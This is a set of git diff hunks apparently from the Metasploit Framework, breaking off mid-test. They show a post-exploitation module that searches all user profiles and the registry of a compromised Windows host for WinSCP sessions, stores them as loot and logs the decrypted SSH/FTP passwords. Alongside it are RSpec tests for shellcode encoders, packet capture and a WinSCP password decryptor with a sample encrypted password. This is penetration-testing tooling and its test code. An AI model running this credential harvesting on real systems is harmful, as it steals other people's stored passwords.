if sysinfo['Architecture'] == 'x86'
|
||||||
print_status("Done!")
|
prog_files_env = 'ProgramFiles'
|
||||||
|
else
|
||||||
|
prog_files_env = 'ProgramFiles(x86)'
|
||||||
|
end
|
||||||
|
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
|
||||||
|
|
||||||
|
user_dir = "#{env['APPDATA']}\\..\\.."
|
||||||
|
user_dir << "\\.." if user_dir.include?('Users')
|
||||||
|
|
||||||
|
users = dir(user_dir)
|
||||||
|
users.each do |user|
|
||||||
|
next if user == "." || user == ".."
|
||||||
|
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
|
||||||
|
vprint_status("Looking for #{app_data}...")
|
||||||
|
get_ini(app_data) if file?(app_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
|
||||||
|
|
||||||
|
get_ini(program_files) if file?(program_files)
|
||||||
|
|
||||||
|
print_status("Looking for Registry storage...")
|
||||||
|
get_reg
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_ini(file_path)
|
||||||
|
print_good("WinSCP.ini located at #{file_path}")
|
||||||
|
file = read_file(file_path)
|
||||||
|
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
|
||||||
|
print_status("WinSCP saved to loot: #{stored_path}")
|
||||||
|
parse_ini(file).each do |res|
|
||||||
|
winscp_store_config(res)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def winscp_store_config(config)
|
def winscp_store_config(config)
|
||||||
host = config['HostName']
|
begin
|
||||||
pass = config['Password']
|
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
|
||||||
portnum = config['PortNumber']
|
ip = res[:ip] if res
|
||||||
proto = config['FSProtocol']
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
user = config['UserName']
|
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
|
||||||
|
ensure
|
||||||
|
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
|
||||||
|
end
|
||||||
|
|
||||||
sname = case proto.to_i
|
return unless ip
|
||||||
when 5 then "FTP"
|
|
||||||
when 0 then "SSH"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Decrypt our password, and report on results
|
|
||||||
plaintext = decrypt_password(pass, user+host)
|
|
||||||
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
|
|
||||||
|
|
||||||
service_data = {
|
service_data = {
|
||||||
# XXX This resolution should happen on the victim side instead
|
address: ip,
|
||||||
address: ::Rex::Socket.getaddress(host),
|
port: config[:portnumber],
|
||||||
port: portnum,
|
service_name: config[:protocol],
|
||||||
service_name: sname,
|
|
||||||
protocol: 'tcp',
|
protocol: 'tcp',
|
||||||
workspace_id: myworkspace_id,
|
workspace_id: myworkspace_id,
|
||||||
}
|
}
|
||||||
|
@ -220,8 +168,8 @@ class Metasploit3 < Msf::Post
|
||||||
session_id: session_db_id,
|
session_id: session_db_id,
|
||||||
post_reference_name: self.refname,
|
post_reference_name: self.refname,
|
||||||
private_type: :password,
|
private_type: :password,
|
||||||
private_data: plaintext,
|
private_data: config[:password],
|
||||||
username: user
|
username: config[:username]
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
credential_core = create_credential(credential_data)
|
credential_core = create_credential(credential_data)
|
||||||
|
|
|
@ -17,6 +17,34 @@ describe Msf::Exploit::Capture do
|
||||||
subject.should be_a_kind_of Msf::Exploit::Capture
|
subject.should be_a_kind_of Msf::Exploit::Capture
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context '#capture_sendto' do
|
||||||
|
let(:payload) { Rex::Text::rand_text_alphanumeric(100 + rand(1024)) }
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(subject).to receive(:capture).and_return(true)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do
|
||||||
|
allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06))
|
||||||
|
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||||
|
subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size
|
||||||
|
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do
|
||||||
|
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||||
|
subject.capture_sendto(payload, '127.0.0.1').should be_falsey
|
||||||
|
subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do
|
||||||
|
allow(subject).to receive(:lookup_eth).and_return(nil)
|
||||||
|
allow(subject).to receive(:inject_eth).and_return(payload.size)
|
||||||
|
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
context '#stats_*' do
|
context '#stats_*' do
|
||||||
|
|
||||||
it 'should show received packets' do
|
it 'should show received packets' do
|
||||||
|
|
|
@ -46,17 +46,6 @@ describe Msf::Module do
|
||||||
it { is_expected.to respond_to :is_usable }
|
it { is_expected.to respond_to :is_usable }
|
||||||
end
|
end
|
||||||
|
|
||||||
describe '#user_data_is_match?' do
|
|
||||||
subject(:msf_module) {
|
|
||||||
msf_module = described_class.new
|
|
||||||
msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' }
|
|
||||||
msf_module
|
|
||||||
}
|
|
||||||
specify do
|
|
||||||
expect(msf_module.user_data_is_match?).to eq(true)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "cloning modules into replicants" do
|
describe "cloning modules into replicants" do
|
||||||
module MsfExtensionTestFoo; def my_test1; true; end; end;
|
module MsfExtensionTestFoo; def my_test1; true; end; end;
|
||||||
module MsfExtensionTestBar; def my_test2; true; end; end;
|
module MsfExtensionTestBar; def my_test2; true; end; end;
|
||||||
|
|
|
@ -321,7 +321,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||||
db.cmd_db_export "-h"
|
db.cmd_db_export "-h"
|
||||||
@output.should =~ [
|
@output.should =~ [
|
||||||
"Usage:",
|
"Usage:",
|
||||||
" db_export -f <format> [-a] [filename]",
|
" db_export -f <format> [filename]",
|
||||||
" Format can be one of: xml, pwdump"
|
" Format can be one of: xml, pwdump"
|
||||||
]
|
]
|
||||||
end
|
end
|
||||||
|
|
|
@ -1004,12 +1004,38 @@ describe Rex::Arch::X86 do
|
||||||
it "returns a register as third element" do
|
it "returns a register as third element" do
|
||||||
expect(subject[2]).to be_an Fixnum
|
expect(subject[2]).to be_an Fixnum
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context "when modified_registers passed" do
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
it "add modified registers" do
|
||||||
|
described_class.geteip_fpu(badchars, modified_registers)
|
||||||
|
expect(modified_registers).to_not be_empty
|
||||||
|
end
|
||||||
|
|
||||||
|
it "modifies 2 or 3 registers" do
|
||||||
|
described_class.geteip_fpu(badchars, modified_registers)
|
||||||
|
expect(modified_registers.length).to be_between(2, 3)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "modifies ESP" do
|
||||||
|
described_class.geteip_fpu(badchars, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
context "when too many badchars" do
|
context "when too many badchars" do
|
||||||
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
|
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
|
||||||
|
|
||||||
it { is_expected.to be_nil }
|
it { is_expected.to be_nil }
|
||||||
|
|
||||||
|
context "when modified_registers passed" do
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
it "doesn't add any register" do
|
||||||
|
described_class.geteip_fpu(badchars, modified_registers)
|
||||||
|
expect(modified_registers).to be_empty
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,17 @@
|
||||||
|
# -*- coding:binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'rex/arch'
|
||||||
|
|
||||||
|
describe Rex::Arch do
|
||||||
|
describe ".pack_addr" do
|
||||||
|
subject { described_class.pack_addr(arch, addr) }
|
||||||
|
|
||||||
|
context "when arch is ARCH_ZARCH" do
|
||||||
|
let(:arch) { ARCH_ZARCH }
|
||||||
|
let(:addr) { 0xdeadbeefbe655321 }
|
||||||
|
it "packs addr as 64-bit unsigned, big-endian" do
|
||||||
|
is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -50,6 +50,180 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
|
||||||
expect { decoder_prefix }.to raise_error
|
expect { decoder_prefix }.to raise_error
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context "when modified_registers is passed" do
|
||||||
|
context "when reg is ECX" do
|
||||||
|
context "when offset is 10" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 10 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 5" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 5 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 0" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 0 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "doesn't mark EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 15" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 15 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when reg is EDX" do
|
||||||
|
context "when offset is 10" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 10 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 5" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 5 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 0" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 0 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "doesn't mark EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 15" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 15 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -83,6 +257,28 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
|
||||||
expect { decoder }.to raise_error
|
expect { decoder }.to raise_error
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
context "when modified_registers passed" do
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EAX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks ESP as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -56,6 +56,180 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
|
||||||
expect { decoder_prefix }.to raise_error
|
expect { decoder_prefix }.to raise_error
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context "when modified_registers is passed" do
|
||||||
|
context "when reg is ECX" do
|
||||||
|
context "when offset is 10" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 10 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 5" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 5 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 0" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 0 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "doesn't mark EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 15" do
|
||||||
|
let(:reg) { 'ECX' }
|
||||||
|
let(:offset) { 15 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when reg is EDX" do
|
||||||
|
context "when offset is 10" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 10 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 5" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 5 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 0" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 0 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "doesn't mark EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when offset is 15" do
|
||||||
|
let(:reg) { 'EDX' }
|
||||||
|
let(:offset) { 15 }
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EBX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -89,6 +263,34 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
|
||||||
expect { decoder }.to raise_error
|
expect { decoder }.to raise_error
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context "when modified_registers passed" do
|
||||||
|
let(:modified_registers) { [] }
|
||||||
|
it "marks EDX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks ECX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks ESI as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ESI)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks EAX as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "marks ESP as modified" do
|
||||||
|
described_class.gen_decoder(reg, offset, modified_registers)
|
||||||
|
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,98 @@
|
||||||
|
require 'rex/parser/winscp'
|
||||||
|
|
||||||
|
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
|
||||||
|
|
||||||
|
USERNAME = 'username'
|
||||||
|
HOST = 'server.feralhosting.com'
|
||||||
|
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
|
||||||
|
SAMPLE_INI = <<-END
|
||||||
|
[Sessions\\username@server.feralhosting.com]
|
||||||
|
HostName=#{HOST}
|
||||||
|
Timeout=6000
|
||||||
|
SshProt=3
|
||||||
|
UserName=#{USERNAME}
|
||||||
|
UpdateDirectories=0
|
||||||
|
Utf=1
|
||||||
|
Password=#{PASSWORD}
|
||||||
|
Shell=/bin/bash}
|
||||||
|
END
|
||||||
|
|
||||||
|
describe Rex::Parser::WinSCP do
|
||||||
|
let(:target) do
|
||||||
|
d = Class.new { include Rex::Parser::WinSCP }
|
||||||
|
d.new
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#parse_protocol" do
|
||||||
|
it "returns 'Unknown' for unknown protocols" do
|
||||||
|
expect(target.parse_protocol(nil)).to eq('Unknown')
|
||||||
|
expect(target.parse_protocol(99)).to eq('Unknown')
|
||||||
|
expect(target.parse_protocol('stuff')).to eq('Unknown')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 'SSH' for protocol 0" do
|
||||||
|
expect(target.parse_protocol(0)).to eq('SSH')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 'FTP' for protocol 5" do
|
||||||
|
expect(target.parse_protocol(5)).to eq('FTP')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#decrypt_next_char" do
|
||||||
|
it "returns 0 and the pwd if pwd length <= 0" do
|
||||||
|
r, pwd = target.decrypt_next_char('')
|
||||||
|
expect(r).to eq(0)
|
||||||
|
expect(pwd).to eq('')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "strips the first two characters from the return value" do
|
||||||
|
_, pwd = target.decrypt_next_char('A3')
|
||||||
|
expect(pwd).to eq('')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 255 for 'A3'" do
|
||||||
|
r, _ = target.decrypt_next_char('A3')
|
||||||
|
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#decrypt_password" do
|
||||||
|
it "returns 'sdfsdfgsggg' for the example password" do
|
||||||
|
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#parse_ini" do
|
||||||
|
it "raises a RuntimeError if ini is nil or empty" do
|
||||||
|
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
|
||||||
|
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "raises a RuntimeError if UseMasterPassword is 1" do
|
||||||
|
